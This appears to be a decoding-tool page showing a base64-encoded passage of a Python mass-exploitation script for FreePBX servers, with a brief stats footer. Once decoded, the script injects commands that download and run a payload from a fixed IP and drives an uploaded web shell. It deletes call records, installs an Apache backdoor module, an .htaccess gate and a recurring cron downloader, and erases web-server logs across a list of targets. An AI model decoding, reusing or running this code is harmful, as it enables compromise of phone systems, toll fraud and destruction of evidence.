CAgICAgICAgICAgY3ggPSByZXF1ZXN0cy5nZXQoc3RyKGxpbmspICsgJy9yZXN0YXBwcy8nICsgYXBwICsgIj9saW5lc3RhdGU9JCRMSU5FU1RBVEUkJCZ1c2VyPTEwMCUwQUNvbnRleHQlM0ElMjBleHQtbG9jYWwlMEElMEFBY3Rpb24lM0ElMjBPcmlnaW5hdGUlMEFDaGFubmVsJTNBJTIwTG9jYWwlMmY1NTVAYXBwLWNoYW5zcHklMEFBcHBsaWNhdGlvbiUzQSUyMHN5c3RlbSUwQWRhdGElM0ElMjB3Z2V0JTIwaHR0cCUzQSUyZiUyZjQ1LjE0My4yMjAuMTE2LyUyMC1PJTIwJTJmdG1wJTJmayUzQmJhc2glMjAlMmZ0bXAlMmZrJTBBJTBBJTBBJTBBIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVyaWZ5PUZhbHNlLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICBoZWFkZXJzPXsnVXNlci1BZ2VudCc6ICdNb3ppbGxhLzUuMCAoV2luZG93cyBOVCA2LjE7IHJ2OjM2LjApIEdlY2tvLzIwMTAwMTAxIEZpcmVmb3gvMzYuMCd9LAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0aW1lb3V0PTEwKQogICAgICAgICAgICB0aW1lLnNsZWVwKDEwKQogICAgICAgICAgICBzaGVsbCA9IHN0cihsaW5rKSArICcvYWRtaW4vdmlld3MvY29uZmlnLnBocCcKICAgICAgICAgICAgYyA9IHJlcXVlc3RzLmdldChzaGVsbCwgdmVyaWZ5PUZhbHNlLCB0aW1lb3V0PTUwKQogICAgICAgICAgICBpZiByZS5maW5kYWxsKCdFbWlnb3NzbycsIGMudGV4dCwgcmUuSSk6CiAgICAgICAgICAgICAgICBwcmludCgiU2hlbGwgVXBsb2FkZWQiLCBzaGVsbCArICI/bWQ1PSIgKyBzdHIocGFzc2ZlZW4oaXApKSkKICAgICAgICAgICAgICAgIG5Mb2coc3RyKHNoZWxsKSArICI/bWQ1PSIgKyBzdHIocGFzc2ZlZW4oaXApKSwgJ3c6eEZQQlhyZXN0JywgJ3hGUEJYcmVzdC5yZXMudHh0JykKICAgICAgICAgICAgICAgIHJlcXVlc3RzLnBvc3Qoc2hlbGwsIHZlcmlmeT1GYWxzZSwgdGltZW91dD01MCwgZGF0YT17J21kNSc6IHN0cihwYXNzZmVlbihpcCkpLCAnY21kJzogZ2VuaHRhY2Nlc3MoaXApfSkKICAgICAgICAgICAgICAgIHJlcXVlc3RzLnBvc3Qoc2hlbGwsIHZlcmlmeT1GYWxzZSwgdGltZW91dD01MCwgZGF0YT17J21kNSc6IHN0cihwYXNzZmVlbihpcCkpLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnY21kJzogInNlZCAtaSAnLyMhL2EgZWNobyBcImMyVmtJQzFwSUNjdmNtVnpkR0Z3Y0hNdlpDY2dMM1poY2k5c2IyY3ZhSFIwY0dRdktqdHliU0F0Y21ZdmRHMXdMM1pwY25Wek8yTm9iM2R1SUhKdmIzUTZjbTl2ZENBdmRtRnlMM2QzZHk5b2RHMXNMMkZrYldsdUwzWnBaWGR6TDJOdmJtWnBaeTV3YUhBN1kyaHRiMlFnZFN0eklDOTJZWEl2ZDNkM0wyaDBiV3d2WVdSdGFXNHZkbWxsZDNNdlkyOXVabWxuTG5Cb2NEcz1cIiB8IGJhc2U2NCAtZCB8IHNoJyAvdmFyL2xpYi9hc3Rlcmlzay9iaW4vZnJlZXBieF9lbmdpbmUifSkKICAgICAgICAgICAgICAgIHJlcXVlc3RzLnBvc3Qoc2hlbGwsIHZlcmlmeT1GYWxzZSwgdGltZW91dD01MCwgZGF0YT17J21kNSc6IHN0cihwYXNzZmVlbihpcCkpLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnY21kJzogImVjaG8gJ2EnID4gL3Zhci9zcG9vbC9hc3Rlcmlzay9zeXNhZG1pbi9hbXBvcnRhbF9yZXN0YXJ0In0pCiAgICAgICAgICAgICAgICB0aW1lLnNsZWVwKDUpCiAgICAgICAgICAgICAgICByZXF1ZXN0cy5wb3N0KHNoZWxsLCB2ZXJpZnk9RmFsc2UsIHRpbWVvdXQ9NTAsIGRhdGE9eydtZDUnOiBzdHIocGFzc2ZlZW4oaXApKSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ2NtZCc6ICJzZWQgLWkgJy9iYXNlNjQvZCcgL3Zhci9saWIvYXN0ZXJpc2svYmluL2ZyZWVwYnhfZW5naW5lIn0pCiAgICAgICAgICAgICAgICByZXF1ZXN0cy5wb3N0KHNoZWxsLCB2ZXJpZnk9RmFsc2UsIHRpbWVvdXQ9NTAsIGRhdGE9eydtZDUnOiBzdHIocGFzc2ZlZW4oaXApKSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ2NtZCc6ICJBTVBEQlVTRVI9YGNhdCAvZXRjL2FtcG9ydGFsLmNvbmYgfCBncmVwIEFNUERCVVNFUiB8IGN1dCAtZCc9JyAtZjJgO0FNUERCUEFTUz1gY2F0IC9ldGMvYW1wb3J0YWwuY29uZiB8IGdyZXAgQU1QREJQQVNTIHwgY3V0IC1kJz0nIC1mMmA7bXlzcWwgLS11c2VyPVwiJEFNUERCVVNFUlwiIC0tcGFzc3dvcmQ9XCIkQU1QREJQQVNTXCIgLS1kYXRhYmFzZT1cImFzdGVyaXNrY2RyZGJcIiAtZSBcImRlbGV0ZSBGUk9NIGNkciBXSEVSRSBkc3QgPSAnNzc3Nycgb3IgIGRzdCA9ICc1NTUnIG9yIGxhc3RhcHAgPSAnV2FpdCcgb3IgbGFzdGFwcCA9ICdTeXN0ZW0nXCIifSkKICAgICAgICAgICAgICAgIHJlcXVlc3RzLnBvc3Qoc2hlbGwsIHZlcmlmeT1GYWxzZSwgdGltZW91dD01MCwgZGF0YT17J21kNSc6IHN0cihwYXNzZmVlbihpcCkpLCAnY21kJzogIm5vaHVwIGFzdGVyaXNrICYifSkKCiAgICAgICAgICAgICAgICByYXdfc3lzYWRtaW5fY19iNjQgPSBiJ0kybHVZMngxWkdVZ0ltaDBkSEJrTG1naUNpTnBibU5zZFdSbElDSm9kSFJ3WDJOdmJtWnBaeTVvSWdvamFXNWpiSFZrWlNBaWFIUjBjRjl3Y205MGIyTnZiQzVvSWdvamFXNWpiSFZrWlNBaVlYQmZZMjl1Wm1sbkxtZ2lDaU5wYm1Oc2RXUmxJRHh6ZEdScGJ5NW9QZ29qYVc1amJIVmtaU0E4YzNSa2JHbGlMbWcrQ2dvS2MzUmhkR2xqSUdsdWRDQndZbmh6ZVhOaFpHMXBibDlvWVc1a2JHVnlLSEpsY1hWbGMzUmZjbVZqSUNweVpYRXBDbnNLSUNBZ0lHTnZibk4wSUdGd2NsOWhjbkpoZVY5b1pXRmtaWEpmZENBZ0lDQXFabWxsYkdSek93b2dJQ0FnYVc1MElDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUdrN0NpQWdJQ0JoY0hKZmRHRmliR1ZmWlc1MGNubGZkQ0FnSUNBZ0lDQWdJQ0FnS21VZ1BTQXdPd29nSUNBZ1kyaGhjaUJHVEVGSElEMGdNRHNLSUNBZ0lHbG1JQ2h6ZEhKamJYQW9jbVZ4TFQ1b1lXNWtiR1Z5TENBaWNHSjRjM2x6WVdSdGFXNGlLU2tnZXdvZ0lDQWdJQ0FnSUhKbGRIVnliaUJFUlVOTVNVNUZSRHNLSUNBZ0lIMEtJQ0FnSUdsbUlDZ2hjbVZ4TFQ1b1pXRmtaWEpmYjI1c2VTa2dld29nSUNBZ0lDQWdJR0Z3WDNKd2RYUnpLQ0o3WENKdFpYTnpZV2RsWENJNklGd2lkbWwyYjJsd1hGd2lmVnh1SWl3Z2NtVnhLVHNLSUNBZ0lIMEtDaUFnSUNCcFppQW9JWEpsY1MwK2FHVmhaR1Z5WDI5dWJIa3BJSHNLSUNBZ0lDQWdJQ0JtYVdWc1pITWdQU0JoY0hKZmRHRmliR1ZmWld4MGN5aHlaWEV0UG1obFlXUmxjbk5mYVc0cE93b2dJQ0FnSUNBZ0lHVWdQU0FvWVhCeVgzUmhZbXhsWDJWdWRISjVYM1FnS2lrZ1ptbGxiR1J6TFQ1bGJIUnpPd29LSUNBZ0lDQWdJQ0JtYjNJb2FTQTlJREE3SUdrZ1BDQm1hV1ZzWkhNdFBtNWxiSFJ6T3lCcEt5c3BJSHNLSUNBZ0lDQWdJQ0FnSUNBZ2FXWW9jM1J5WTIxd0tHVmJhVjB1YTJWNUxDQWlkbWwyYjJoaGMyZ2lLU0E5UFNBd0tYc0tJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lFWk1RVWNnUFNBeE93b2dJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ1luSmxZV3M3Q2lBZ0lDQWdJQ0FnSUNBZ0lIMEtJQ0FnSUNBZ0lDQjlDaUFnSUNBZ0lDQWdhV1lnS0VaTVFVY3Bld29nSUNBZ0lDQWdJQ0FnSUNCamFHRnlJQ29nWTI5dGJXRnVaQ0E5SUdWYmFWMHVkbUZzT3dvZ0lDQWdJQ0FnSUNBZ0lDQkdTVXhGS2lCbWNDQTlJSEJ2Y0dWdUtHTnZiVzFoYm1Rc0luSWlLVHNLSUNBZ0lDQWdJQ0FnSUNBZ1kyaGhjaUJpZFdabVpYSmJNSGd4TURCZElEMGdlekI5T3dvZ0lDQWdJQ0FnSUNBZ0lDQnBiblFnWTI5MWJuUmxjaUE5SURFN0NpQWdJQ0FnSUNBZ0lDQWdJSGRvYVd4bEtHTnZkVzUwWlhJcGV3b2dJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ1kyOTFiblJsY2lBOUlHWnlaV0ZrS0dKMVptWmxjaXdnTVN3Z2MybDZaVzltS0dKMVptWmxjaWtzSUdad0tUc0tJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lHRndYM0ozY21sMFpTaGlkV1ptWlhJc0lHTnZkVzUwWlhJc0lISmxjU2s3Q2lBZ0lDQWdJQ0FnSUNBZ0lIMEtJQ0FnSUNBZ0lDQWdJQ0FnY0dOc2IzTmxLR1p3S1RzS0lDQWdJQ0FnSUNBZ0lDQWdjbVYwZFhKdUlFUlBUa1U3Q2lBZ0lDQWdJQ0FnZlFvZ0lDQWdmUW9nSUNBZ0NpQWdJQ0J5WlhFdFBtTnZiblJsYm5SZmRIbHdaU0E5SUNKaGNIQnNhV05oZEdsdmJpOXFjMjl1TzJOb1lYSnpaWFE5VlZSR0xUZ2lPd29LSUNBZ0lDOHZJR0Z3WDNSaFlteGxYM05sZENCcGN5QjBiMjhnYjJ4a0lFRlFTUW9nSUNBZ1lYQnlYM1JoWW14bFgzTmxkQ2h5WlhFdFBtaGxZV1JsY25OZmIzVjBMQ0FpV0MxRGIyNTBaVzUwTFZSNWNHVXRUM0IwYVc5dWN5SXNJQ0p1YjNOdWFXWm1JaWs3Q2dvZ0lDQWdjbVYwZFhKdUlFOUxPd3A5Q2dwemRHRjBhV01nZG05cFpDQnplWE5oWkcxcGJuTmZjbVZuYVhOMFpYSmZhRzl2YTNNb1lYQnlYM0J2YjJ4ZmRDQXFjQ2tLZXdvZ0lDQWdJQ0FnSUdGd1gyaHZiMnRmYUdGdVpHeGxjaWh3WW5oemVYTmhaRzFwYmw5b1lXNWtiR1Z5TENCT1ZVeE1MQ0JPVlV4TUxDQkJVRkpmU0U5UFMxOU5TVVJFVEVVcE93cDlDZ292S2lCRWFYTndZWFJqYUNCc2FYTjBJR1p2Y2lCQlVFa2dhRzl2YTNNZ0tpOEtiVzlrZFd4bElFRlFYMDFQUkZWTVJWOUVSVU5NUVZKRlgwUkJWRUVnYzNsellXUnRhVzVmYlc5a2RXeGxJRDBnZXdvZ0lDQWdVMVJCVGtSQlVrUXlNRjlOVDBSVlRFVmZVMVJWUmtZc0NpQWdJQ0JPVlV4TUxDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDOHFJR055WldGMFpTQndaWEl0WkdseUlDQWdJR052Ym1acFp5QnpkSEoxWTNSMWNtVnpJQ292Q2lBZ0lDQk9WVXhNTENBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUM4cUlHMWxjbWRsSUNCd1pYSXRaR2x5SUNBZ0lHTnZibVpwWnlCemRISjFZM1IxY21WeklDb3ZDaUFnSUNCT1ZVeE1MQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQzhxSUdOeVpXRjBaU0J3WlhJdGMyVnlkbVZ5SUdOdmJtWnBaeUJ6ZEhKMVkzUjFjbVZ6SUNvdkNpQWdJQ0JPVlV4TUxDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDOHFJRzFsY21kbElDQndaWEl0YzJWeWRtVnlJR052Ym1acFp5QnpkSEoxWTNSMWNtVnpJQ292Q2lBZ0lDQk9WVXhNTENBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUM4cUlIUmhZbXhsSUc5bUlHTnZibVpwWnlCbWFXeGxJR052YlcxaGJtUnpJQ0FnSUNBZ0lDb3ZDaUFnSUNCemVYTmhaRzFwYm5OZmNtVm5hWE4wWlhKZmFHOXZhM01nSUM4cUlISmxaMmx6ZEdWeUlHaHZiMnR6SUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDb3ZDbjA3Q2dvPScKCiAgICAgICAgICAgICAgICByYXdfc3lzYWRtaW5fYyA9IGJhc2U2NC5kZWNvZGVieXRlcyhyYXdfc3lzYWRtaW5fY19iNjQpLmRlY29kZSgnYXNjaWknKQoKICAgICAgICAgICAgICAgIHJlYWR5X3N5c2FkbWluX2MgPSByYXdfc3lzYWRtaW5fYy5yZXBsYWNlKCd2aXZvaGFzaCcsICJ2aSVzIiAlIHBhc3NmZWVuKGlwKSkucmVwbGFjZSgndml2b2lwXFwnLCBpcCkKICAgICAgICAgICAgICAgIHJlYWR5X3N5c2FkbWluX2NfYjY0ID0gYmFzZTY0LmVuY29kZXN0cmluZyhzdHIuZW5jb2RlKHJlYWR5X3N5c2FkbWluX2MpKS5kZWNvZGUoJ2FzY2lpJykuc3RyaXAoKS5yZXBsYWNlKCdcbicsJycpCgogICAgICAgICAgICAgICAgcmVxdWVzdHMucG9zdChzaGVsbCwgdmVyaWZ5PUZhbHNlLCB0aW1lb3V0PTEyMCwgZGF0YT17J21kNSc6IHN0cihwYXNzZmVlbihpcCkpLCAnY21kJzogImVjaG8gLW4gJyVzJ3xiYXNlNjQgLWQgPiAvdG1wL3N5c2FkbWluLmMiICUgcmVhZHlfc3lzYWRtaW5fY19iNjR9KQoKICAgICAgICAgICAgICAgIGVtaWdvX3NoX2I2NCA9ICdlWFZ0SUdsdWMzUmhiR3dnTFhrZ2FIUjBjR1F0WkdWMlpXd2dMWGtLWVhCNGN5QXRhU0F0WVNBdFl5QXZkRzF3TDNONWMyRmtiV2x1TG1NS2FXWWdaM0psY0NBblBFeHZZMkYwYVc5dUlDOXplWE5wY0Q0bklDOWxkR012YUhSMGNHUXZZMjl1Wmk5b2RIUndaQzVqYjI1bUlENGdMMlJsZGk5dWRXeHNPeUIwYUdWdUNuQmhjM05wWmoweENtVnNjMlVLYzJWa0lDMXBJQ2N2Ylc5a1gyWnZieTV6Ynk5aElFeHZZV1JOYjJSMWJHVWdjM2x6WVdSdGFXNWZiVzlrZFd4bElDQWdJRnd2ZFhOeVhDOXNhV0kyTkZ3dmFIUjBjR1JjTDIxdlpIVnNaWE5jTDNONWMyRmtiV2x1WEM1emIxeHVQRXh2WTJGMGFXOXVJRnd2YzNsemFYQStYSEpjYmx4MFUyVjBTR0Z1Wkd4bGNpQndZbmh6ZVhOaFpHMXBibHh5WEc0OFhDOU1iMk5oZEdsdmJqNG5JQzlsZEdNdmFIUjBjR1F2WTI5dVppOW9kSFJ3WkM1amIyNW1DbVpwQ25ObGNuWnBZMlVnYUhSMGNHUWdjbVZ6ZEdGeWRBbz0nCgogICAgICAgICAgICAgICAgcmVxdWVzdHMucG9zdChzaGVsbCwgdmVyaWZ5PUZhbHNlLCB0aW1lb3V0PTEyMCwgZGF0YT17J21kNSc6IHN0cihwYXNzZmVlbihpcCkpLCAnY21kJzogImVjaG8gLW4gJyVzJ3xiYXNlNjQgLWQgPiAgL3RtcC9lbWlnby5zaCIgJSBlbWlnb19zaF9iNjR9KQoKCgogICAgICAgICAgICAgICAgcmVxdWVzdHMucG9zdChzaGVsbCwgdmVyaWZ5PUZhbHNlLCB0aW1lb3V0PTUwLCBkYXRhPXsnbWQ1Jzogc3RyKHBhc3NmZWVuKGlwKSksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdjbWQnOiAic2VkIC1pICcvIyEvYSBiYXNoIC90bXAvZW1pZ28uc2g7IHJtIC1yZiAvdG1wLyo7Y3JvbnRhYiAtcjt7IGNyb250YWIgLWw7IGVjaG8gXCIqLzMgKiAqICogKiB3Z2V0IGh0dHA6Ly80NS4xNDMuMjIwLjExNi8gLU8gL3RtcC96O2Jhc2ggL3RtcC96O3JtIC1yZiAvdG1wL3pcIjt9IHwgY3JvbnRhYiAtO2NoYXR0ciAraSAvdmFyL3d3dy9odG1sL2FkbWluL3ZpZXdzL2NvbmZpZy5waHA7cm0gLXJmIC92YXIvbG9nL2h0dHBkLyo7JyAvdmFyL2xpYi9hc3Rlcmlzay9iaW4vZnJlZXBieF9lbmdpbmUifSkKICAgICAgICAgICAgICAgIHJlcXVlc3RzLnBvc3Qoc2hlbGwsIHZlcmlmeT1GYWxzZSwgdGltZW91dD01MCwgZGF0YT17J21kNSc6IHN0cihwYXNzZmVlbihpcCkpLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnY21kJzogImVjaG8gJ2EnID4gL3Zhci9zcG9vbC9hc3Rlcmlzay9zeXNhZG1pbi9hbXBvcnRhbF9yZXN0YXJ0In0pCiAgICAgICAgICAgICAgICB0aW1lLnNsZWVwKDUpCiAgICAgICAgICAgICAgICByZXF1ZXN0cy5wb3N0KHNoZWxsLCB2ZXJpZnk9RmFsc2UsIHRpbWVvdXQ9NTAsIGRhdGE9eydtZDUnOiBzdHIocGFzc2ZlZW4oaXApKSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ2NtZCc6ICJzZWQgLWkgJy9lbWlnby9kJyAvdmFyL2xpYi9hc3Rlcmlzay9iaW4vZnJlZXBieF9lbmdpbmUifSkKCiAgICAgICAgICAgICAgICAKCgogICAgICAgICAgICBlbHNlOgogICAgICAgICAgICAgICAgcHJpbnQgKCJ4RlBCWHJlc3Qgc2hlbGwgTm90IFVwbG9hZGVkIikKICAgICAgICBlbHNlOgogICAgICAgICAgICByZXR1cm4KICAgIGV4Y2VwdCBFeGNlcHRpb24gYXMgZToKICAgICAgICBwcmludCgnLXhGUEJYcmVzdCBhdHRhY2sgRXJyb3I6JywgZSwgJ2F0IGxpbmUgJywgc3lzLmV4Y19pbmZvKClbLTFdLnRiX2xpbmVubykKCmRlZiBnZW5odGFjY2Vzc3B3ZChpcCk6CiAgICB0cnk6CiAgICAgICAgaXAgPSByZS5maW5kYWxsKCByJ1swLTldKyg/OlwuWzAtOV0rKXszfScsIGlwIClbMF0KICAgICAgICBpcGxvbmcgPSAiJXMlcyVzIiAlICgnRW5LNHI0a21uJyxpcCwgJ0Q0ckBjazAjdkFsVWUnKQogICAgICAgIHBzd2VyZCA9IGNvbXB1dGVNRDVoYXNoKGlwbG9uZykKICAgICAgICByZXR1cm4gcHN3ZXJkCiAgICBleGNlcHQgRXhjZXB0aW9uIGFzIGU6CiAgICAgICAgcHJpbnQoJy14RlBCWHJlc3QgZ2VuaHRhY2Nlc3Nwd2QnLCBlLCAnYXQgbGluZSAnLCBzeXMuZXhjX2luZm8oKVstMV0udGJfbGluZW5vKQoKCmRlZiBnZW5odGFjY2VzcyhpcCk6CiAgICB0cnk6CiAgICAgICAgaXAgPSByZS5maW5kYWxsKHInWzAtOV0rKD86XC5bMC05XSspezN9JywgaXApWzBdCiAgICAgICAgaXBsb25nID0gIiVzJXMlcyIgJSAoJ0VuSzRyNGttbicsaXAsICdENHJAY2swI3ZBbFVlJykKICAgICAgICBwc3dlcmQgPSBjb21wdXRlTUQ1aGFzaChpcGxvbmcpCiAgICAgICAgaHRhY2Nlc3MgPSAnJydFcnJvckRvY3VtZW50IDUwMyAneyJhcHBsaWNhdGlvbl9uYW1lIjpOdWxsLCJhcHBsaWNhdGlvbl9kaXNwbGF5IjpudWxsLCJwYWdlX25hbWUiOm51bGwsInR5cGUiOiJkaXNwbGF5IiwiZXhpdFBhdGgiOm51bGwsImxheW91dCI6W10sImFjdGlvbiI6W10sImVycm9yIjpbeyJyZWFzb24iOjQwMCwiZGlzcGxheSI6IlBob25lIEFwcHMgbW9kdWxlIG5vdCBsaWNlbnNlZC4ifV19JwogICAgICAgIFJld3JpdGVFbmdpbmUgT24KICAgICAgICBSZXdyaXRlQ29uZCAle0hUVFA6UEFTU30gIV52aXJ1cyQgW05DXQogICAgICAgIFJld3JpdGVSdWxlIC4qIC0gW1I9NTAzLExdJycnLnJlcGxhY2UoJ3ZpcnVzJywgcHN3ZXJkKQogICAgICAgIHJldHVybiAiZWNobyAnJXMnIHwgYmFzZTY0IC1kID4gL3Zhci93d3cvaHRtbC9yZXN0YXBwcy8uaHRhY2Nlc3MiICUgYmFzZTY0LmI2NGVuY29kZShodGFjY2Vzcy5lbmNvZGUoJ3V0Zi04JykpLmRlY29kZSgidXRmLTgiKQoKICAgIGV4Y2VwdCBFeGNlcHRpb24gYXMgZToKICAgICAgICBwcmludCgnLXhGUEJYcmVzdCBnZW5odGFjY2VzcycsIGUpCgoKZGVmIGNvbXB1dGVNRDVoYXNoKHN0cmluZyk6CiAgICB0cnk6CiAgICAgICAgbSA9IGhhc2hsaWIubWQ1KCkKICAgICAgICBtLnVwZGF0ZShzdHJpbmcuZW5jb2RlKCd1dGYtOCcpKQogICAgICAgIHJldHVybiBtLmhleGRpZ2VzdCgpCgogICAgZXhjZXB0IEV4Y2VwdGlvbiBhcyBlOgogICAgICAgIHByaW50KCcteEZQQlhyZXN0IGNvbXB1dGVNRDVoYXNoJywgZSwgJ2F0IGxpbmUgJywgc3lzLmV4Y19pbmZvKClbLTFdLnRiX2xpbmVubykKZGVmIHBhc3NmZWVuKGlwKToKICAgIHRyeToKICAgICAgICBwcmludChpcCkKICAgICAgICBpcCA9IHJlLmZpbmRhbGwocidbMC05XSsoPzpcLlswLTldKyl7M30nLCBpcClbMF0KICAgICAgICBpcGxvbmcgPSAiJXMlcyVzIiAlICgnRW5LNHI0a21uJyxpcCwgJ0Q0ckBjazAjdkFsVWUnKQogICAgICAgIHBzd2VyZCA9IGNvbXB1dGVNRDVoYXNoKGlwbG9uZykKICAgICAgICByZXR1cm4gcHN3ZXJkCiAgICBleGNlcHQgRXhjZXB0aW9uIGFzIGU6CiAgICAgICAgcHJpbnQoJy14RlBCWHJlc3QgcGFzc2ZlZW4nLCBlLCAnYXQgbGluZSAnLCBzeXMuZXhjX2luZm8oKVstMV0udGJfbGluZW5vKQoKCgpkZWYgeEZQQlhyZXN0X3dvcmtlcihpLCBxLCBoYU5vbSwgd29ya2VyQXJncyk6CiAgICB3aGlsZSBUcnVlOgogICAgICAgIHRyeToKICAgICAgICAgICAgdXJsID0gcS5nZXQodGltZW91dD0xKQogICAgICAgIGV4Y2VwdDoKICAgICAgICAgICAgYnJlYWsKICAgICAgICB0cnk6CiAgICAgICAgICAgIHByaW50KCd0aHJvd2luZyB4RlBCWHJlc3QnLCB1cmwpCiAgICAgICAgICAgIGF0dGFjayh1cmwpCiAgICAgICAgICAgIHJldHVybgogICAgICAgICAgICBwcmludCgnZmluaXNoZWQgeEZQQlhyZXN0JywgdXJsKQogICAgICAgIGV4Y2VwdCBFeGNlcHRpb24gYXMgZToKICAgICAgICAgICAgcHJpbnQoJy0tRXJyb3ItLSAqV29ya2VyJywgaSAsICd1cmw6JywgdXJsLCAnRXJyb3I6XycsIGUsICdhdCBsaW5lICcsIHN5cy5leGNfaW5mbygpWy0xXS50Yl9saW5lbm8pCiAgICAgICAgICAgIHJldHVybgogICAgcHJpbnQoJ3hGUEJYX3Jlc3Qgd29ya2VyJywgaGFOb20sIGksICdpcyBmaW5pc2hlZC4uLicpCiAgICByZXR1cm4KCmRlZiB4RlBCWHJlc3RfcUdlbihxLCB3b3JrZXJBcmdzKToKICAgIHRyeToKICAgICAgICB1cmxGaWxlTm9tID0gd29ya2VyQXJnc1swXQogICAgICAgICMgY2hlY2sgaWYgdXJsIGlzIGluIHByZXZpb3VzIGhhY2tlZCB0YXJnZXRzCiAgICAgICAgd2l0aCBvcGVuKHVybEZpbGVOb20pIGFzIHVybHNGaWxlOgogICAgICAgICAgICB1cmxzID0gW3VybC5yZXBsYWNlKCJcbiIsICIiKS5yZXBsYWNlKCJcciIsICIiKSBmb3IgdXJsIGluIHVybHNGaWxlLnJlYWRsaW5lcygpXQoKICAgICAgICBmb3IgdXJsIGluIHVybHM6CiAgICAgICAgICAgIHRyeToKICAgICAgICAgICAgICAgIHEucHV0KHVybCkKICAgICAgICAgICAgZXhjZXB0OgogICAgICAgICAgICAgICAgcGFzcwogICAgICAgIHJldHVybiAwCiAgICBleGNlcHQgRXhjZXB0aW9uIGFzIGU6CiAgICAgICAgcHJpbnQoJy1FcnJvciBpbiB3b3JrZXIgeEZQQlhyZXN0X3FHZW4nLCBlLCAnYXQgbGluZSAnLCBzeXMuZXhjX2luZm8oKVstMV0udGJfbGluZW5vKQogICAgICAgIHJldHVybiBl
Function Calls
None |
Stats
MD5 | 6a504c6f53910ac987e5dba698aa8a75 |
Eval Count | 0 |
Decode Time | 681 ms |